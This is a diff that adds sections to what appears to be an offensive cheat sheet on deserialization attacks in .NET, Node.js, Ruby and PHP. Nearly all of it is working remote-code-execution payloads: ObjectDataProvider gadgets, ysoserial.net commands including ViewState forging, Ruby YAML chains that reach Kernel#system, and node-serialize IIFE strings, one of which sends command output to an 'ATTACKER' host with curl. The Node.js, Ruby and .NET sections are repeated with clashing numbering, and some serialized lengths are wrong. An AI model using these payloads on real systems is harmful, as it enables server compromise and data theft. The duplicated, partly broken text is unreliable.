+ - **JSON.NET**: `$type` property enables type control → `ObjectDataProvider` + `ExpandedWrapper` chains
390
+
391
+ ```json
392
+ {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
393
+ ```
394
+
395
+ - **Tool**: `ysoserial.net` — generate payloads for all .NET formatters
396
+
397
+ ```text
398
+ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
399
+ ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
400
+ ```
401
+
402
+ - **POP gadgets**: `ObjectDataProvider`, `ExpandedWrapper`, `AssemblyInstaller.set_Path`
403
+
404
+ ---
405
+
406
+ ## 10. NODE.JS DESERIALIZATION
407
+
408
+ - **node-serialize**: `unserialize()` with IIFE (Immediately Invoked Function Expression)
409
+ - Payload marker: `_$$ND_FUNC$$_`
410
+ - Add `()` at end to auto-execute:
411
+
412
+ ```json
413
+ {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
414
+ ```
415
+
416
+ - **funcster**: `__js_function` property → `constructor.constructor` to access `process`
417
+
418
+ ```json
419
+ {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
420
+ ```
421
+
422
+ - **cryo**: similar to funcster, serializes JS objects with function support
423
+
424
+ ---
425
+
426
+ ## RUBY DESERIALIZATION
427
+
428
+ ### Marshal (Binary Format)
429
+ ```ruby
430
+ # Ruby's Marshal.load is equivalent to Java's ObjectInputStream
431
+ # Any class with marshal_dump/marshal_load can be a gadget
432
+
433
+ # Detection: binary data starting with \x04\x08
434
+ # Or hex: 0408
435
+
436
+ # PoC gadget (requires vulnerable class in scope):
437
+ payload = "\x04\x08..." # hex-encoded gadget chain
438
+ Marshal.load(payload) # triggers arbitrary code execution
439
+ ```
440
+
441
+ ### YAML.load (Critical — Most Common Ruby Deser Sink)
442
+ ```ruby
443
+ # YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
444
+
445
+ # Ruby <= 2.7.2 — Gem::Requirement chain:
446
+ # Triggers via !ruby/object constructor
447
+ ---
448
+ !ruby/object:Gem::Requirement
449
+ requirements:
450
+ !ruby/object:Gem::DependencyList
451
+ specs:
452
+ - !ruby/object:Gem::Source
453
+ current_fetch_uri: !ruby/object:URI::Generic
454
+ path: "| id"
455
+
456
+ # Ruby 2.x–3.x — Gem::Installer chain:
457
+ # Uses Gem::Installer → Gem::StubSpecification → Kernel#system
458
+ ---
459
+ !ruby/hash:Gem::Installer
460
+ i: x
461
+ !ruby/hash:Gem::SpecFetcher
462
+ i: y
463
+ !ruby/object:Gem::Requirement
464
+ requirements:
465
+ !ruby/object:Gem::Package::TarReader
466
+ io: &1 !ruby/object:Net::BufferedIO
467
+ io: &1 !ruby/object:Gem::Package::TarReader::Entry
468
+ read: 0
469
+ header: "abc"
470
+ debug_output: &1 !ruby/object:Net::WriteAdapter
471
+ socket: &1 !ruby/object:Gem::RequestSet
472
+ sets: !ruby/object:Net::WriteAdapter
473
+ socket: !ruby/module 'Kernel'
474
+ method_id: :system
475
+ git_set: id # <-- command to execute
476
+ method_id: :resolve
477
+
478
+ # Safe alternative: YAML.safe_load (whitelist of allowed types)
479
+ ```
480
+
481
+ ### Tools
482
+ - `elttam/ruby-deserialization` — Ruby gadget chain generator
483
+ - `frohoff/ysoserial` inspiration → check Ruby-specific forks
484
+
485
+ ---
486
+
487
+ ## .NET DESERIALIZATION
488
+
489
+ ### Traffic Fingerprinting
490
+
491
+ | Indicator | Serializer |
492
+ |---|---|
493
+ | Hex `00 01 00 00 00` / Base64 `AAEAAD` | BinaryFormatter |
494
+ | Hex `FF 01` / Base64 `/w` | DataContractSerializer |
495
+ | ViewState starts with `__VIEWSTATE` | LosFormatter / ObjectStateFormatter |
496
+ | JSON with `$type` property | JSON.NET (Newtonsoft) TypeNameHandling |
497
+ | XML with `<ObjectDataProvider>` | XmlSerializer / NetDataContractSerializer |
498
+
499
+ ### BinaryFormatter / LosFormatter
500
+ ```
501
+ # Most dangerous — arbitrary type instantiation
502
+ # Tool: ysoserial.net
503
+
504
+ ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
505
+ ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64
506
+
507
+ # LosFormatter wraps BinaryFormatter — same gadgets work
508
+ ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
509
+ ```
510
+
511
+ ### XmlSerializer + ObjectDataProvider
512
+ ```xml
513
+ <root>
514
+ <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
515
+ <ObjectDataProvider.MethodParameters>
516
+ <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
517
+ <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
518
+ </ObjectDataProvider.MethodParameters>
519
+ <ObjectDataProvider.ObjectInstance>
520
+ <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
521
+ <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
522
+ <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
523
+ </ProcessStartInfo>
524
+ </ObjectDataProvider.ObjectInstance>
525
+ </ObjectDataProvider>
526
+ </root>
527
+ ```
528
+
529
+ ### JSON.NET with TypeNameHandling
530
+ ```json
531
+ {
532
+ "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
533
+ "MethodName": "Start",
534
+ "MethodParameters": {
535
+ "$type": "System.Collections.ArrayList, mscorlib",
536
+ "$values": ["cmd.exe", "/c whoami"]
537
+ },
538
+ "ObjectInstance": {
539
+ "$type": "System.Diagnostics.Process, System"
540
+ }
541
+ }
542
+ ```
543
+ Vulnerable when `TypeNameHandling` is set to `Auto`, `Objects`, `Arrays`, or `All`.
544
+
545
+ ### Tools
546
+ - `pwntester/ysoserial.net` — primary .NET deserialization payload generator
547
+ - Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile
548
+
549
+ ---
550
+
551
+ ## NODE.JS DESERIALIZATION
552
+
553
+ ### node-serialize (IIFE Pattern)
554
+ ```javascript
555
+ // node-serialize uses eval() internally
556
+ // Payload uses _$$ND_FUNC$$_ marker + IIFE:
557
+
558
+ var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
559
+
560
+ // The trailing () makes it an Immediately Invoked Function Expression
561
+ // When unserialize() processes this, it executes the function
562
+
563
+ // Full HTTP exploit (in cookie or body):
564
+ {"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}
565
+ ```
566
+
567
+ ### funcster
568
+ ```javascript
569
+ // funcster deserializes functions via constructor.constructor pattern:
570
+ {"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
571
+ ```
572
+
573
+ ### PHP create_function + Deserialization Combo
574
+ ```php
575
+ // When a PHP class uses create_function in __destruct or __wakeup:
576
+ // Serialize an object where:
577
+ $a = "create_function";
578
+ $b = ";}system('id');/*";
579
+ // The lambda body becomes: function(){ ;}system('id');/* }
580
+ // Closing the original function body and injecting a command
581
+
582
+ // In serialized form, private properties need \0ClassName\0 prefix:
583
+ O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
584
+ ```
585
+
586
+ ---
587
+
588
+ ## 11. RUBY DESERIALIZATION
589
+
590
+ ### Marshal
591
+ ```ruby
592
+ # Ruby's native serialization. Dangerous when deserializing untrusted data.
593
+ # Detection: Binary data starting with \x04\x08
594
+
595
+ # One-liner gadget verification (hex-encoded payload):
596
+ payload = ["040802"].pack("H*") # Minimal Marshal header
597
+ Marshal.load(payload)
598
+ ```
599
+
600
+ ### YAML (CVE-rich surface)
601
+ ```ruby
602
+ # YAML.load is DANGEROUS — equivalent to eval for Ruby objects
603
+ # Safe alternative: YAML.safe_load
604
+
605
+ # Ruby <= 2.7.2: Gem::Requirement chain
606
+ --- !ruby/object:Gem::Requirement
607
+ requirements:
608
+ - !ruby/object:Gem::DependencyList
609
+ specs:
610
+ - !ruby/object:Gem::Source
611
+ uri: "| id"
612
+
613
+ # Ruby 2.x-3.x: Gem::Installer chain (more complex)
614
+ # Triggers: git_set → Kernel#system
615
+ --- !ruby/object:Gem::Installer
616
+ i: x
617
+ # (Full chain available in ysoserial-ruby / blind-ruby-deserialization)
618
+
619
+ # Universal detection: supply YAML that triggers DNS callback
620
+ --- !ruby/object:Gem::Fetcher
621
+ uri: http://BURP_COLLAB/
622
+ ```
623
+
624
+ **Tools**: `elttam/ruby-deserialization`, `mbechler/ysoserial` (Ruby variant)
625
+
626
+ ---
627
+
628
+ ## 12. .NET DESERIALIZATION
629
+
630
+ ### Fingerprinting
631
+ | Magic Bytes | Format |
632
+ |---|---|
633
+ | `AAEAAD` (base64) / `00 01 00 00 00` (hex) | BinaryFormatter |
634
+ | `FF 01` or `/w` (base64) | ViewState (ObjectStateFormatter) |
635
+ | `<` (XML opening) | XmlSerializer / DataContractSerializer |
636
+ | JSON with `$type` key | JSON.NET (TypeNameHandling enabled) |
637
+
638
+ ### BinaryFormatter (most dangerous)
639
+ ```
640
+ # Always dangerous when deserializing untrusted data
641
+ # Tool: ysoserial.net
642
+ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
643
+ ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
644
+ ```
645
+
646
+ ### ViewState (ASP.NET)
647
+ ```
648
+ # If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
649
+ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
650
+
651
+ # Leak machineKey from web.config (via LFI/backup) → forge ViewState
652
+ ```
653
+
654
+ ### XmlSerializer + ObjectDataProvider
655
+ ```xml
656
+ <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
657
+ xmlns:xsd="http://www.w3.org/2001/XMLSchema">
658
+ <ObjectDataProvider MethodName="Start">
659
+ <ObjectInstance xsi:type="Process">
660
+ <StartInfo>
661
+ <FileName>cmd.exe</FileName>
662
+ <Arguments>/c whoami</Arguments>
663
+ </StartInfo>
664
+ </ObjectInstance>
665
+ </ObjectDataProvider>
666
+ </root>
667
+ ```
668
+
669
+ ### JSON.NET ($type abuse)
670
+ ```json
671
+ {
672
+ "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
673
+ "MethodName": "Start",
674
+ "ObjectInstance": {
675
+ "$type": "System.Diagnostics.Process, System",
676
+ "StartInfo": {
677
+ "$type": "System.Diagnostics.ProcessStartInfo, System",
678
+ "FileName": "cmd.exe",
679
+ "Arguments": "/c whoami"
680
+ }
681
+ }
682
+ }
683
+ ```
684
+ Vulnerable when `TypeNameHandling != None` in JSON deserialization settings.
685
+
686
+ ### Tools
687
+ - `pwntester/ysoserial.net` — primary .NET gadget chain generator
688
+ - `NotSoSecure/Blacklist3r` — decrypt/forge ViewState with known machineKey
689
+
690
+ ---
691
+
692
+ ## 13. NODE.JS DESERIALIZATION
693
+
694
+ ### node-serialize (IIFE injection)
695
+ ```javascript
696
+ // Vulnerable pattern:
697
+ var serialize = require('node-serialize');
698
+ var obj = serialize.unserialize(userInput);
699
+
700
+ // Payload: IIFE (Immediately Invoked Function Expression)
701
+ // The _$$ND_FUNC$$_ prefix signals a serialized function
702
+ {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
703
+
704
+ // Key: the () at the end causes immediate execution upon deserialization
705
+ ```
706
+
707
+ ### funcster
708
+ ```javascript
709
+ // Vulnerable: funcster.deepDeserialize(userInput)
710
+ // Payload uses __js_function to inject via constructor chain:
711
+ {"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
712
+ ```
713
+
714
+ ### PHP create_function + Deserialization Combo
715
+ ```php
716
+ // When create_function is available and object is deserialized:
717
+ // Payload creates lambda with injected code:
718
+ $a = "create_function";
719
+ $b = ";}system('id');/*";
720
+ // The lambda body becomes: function anonymous() { ;}system('id');/* }
721
+ // Effective: close original body, inject command, comment out rest
722
+
723
+ // In serialized form (with private property \0ClassName\0):
724
+ O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}
725
+ ```